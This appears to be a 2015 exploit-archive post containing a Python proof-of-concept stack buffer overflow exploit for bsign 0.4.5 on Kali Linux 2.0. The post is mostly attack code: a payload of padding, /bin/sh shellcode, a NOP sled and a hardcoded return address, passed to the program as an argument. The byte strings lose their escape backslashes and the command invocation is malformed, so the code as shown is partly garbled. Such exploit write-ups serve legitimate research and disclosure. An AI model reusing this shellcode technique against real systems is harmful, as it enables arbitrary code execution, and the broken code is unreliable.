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BSIGN 0.4.5 Buffer Overflow

Posted on 29 August 2015

# Exploit Author: Juan Sacco - http://www.exploitpack.com <
jsacco@exploitpack.com>
# Program: bsign - embed and verify secure hashes and digital signatures
# Tested on: GNU/Linux - Kali Linux 2.0
#
# Description: BSIGN v0.4.5 and prior is prone to a stack-based buffer
overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.debian.org
# Kali Linux 2.0 package: http.kali.org_kali_dists_sana_
main_binary-i386_Packages
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980

import os,subprocess
def run():
 try:
 print "# BSIGN v0.4.5 Stack-BoF by Juan Sacco"
 print "# Wasting CPU clocks on unusable exploits"
 print "# This exploit is for educational purposes only"
 # Basic structure: JUNK + SHELLCODE + NOPS + EIP
 junk = "x41"*8
 shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99
xb0x0bxcdx80"
 nops = "x90"*248
 eip = "x10xd3xffxbf"
 subprocess.call(["bsign -f",'-f ', junk + shellcode + nops + eip])

 except OSError as e:
 if e.errno == os.errno.ENOENT:
 print "BSIGN not found!"
 else:
 print "Error executing exploit"
 raise

def howtousage():
 print "Sorry, something went wrong"
 sys.exit(-1)

if __name__ == '__main__':
 try:
 print "Exploit BSign 0.4.5 Local Overflow Exploit"
 print "Author: Juan Sacco"
 except IndexError:
 howtousage()
run()

 

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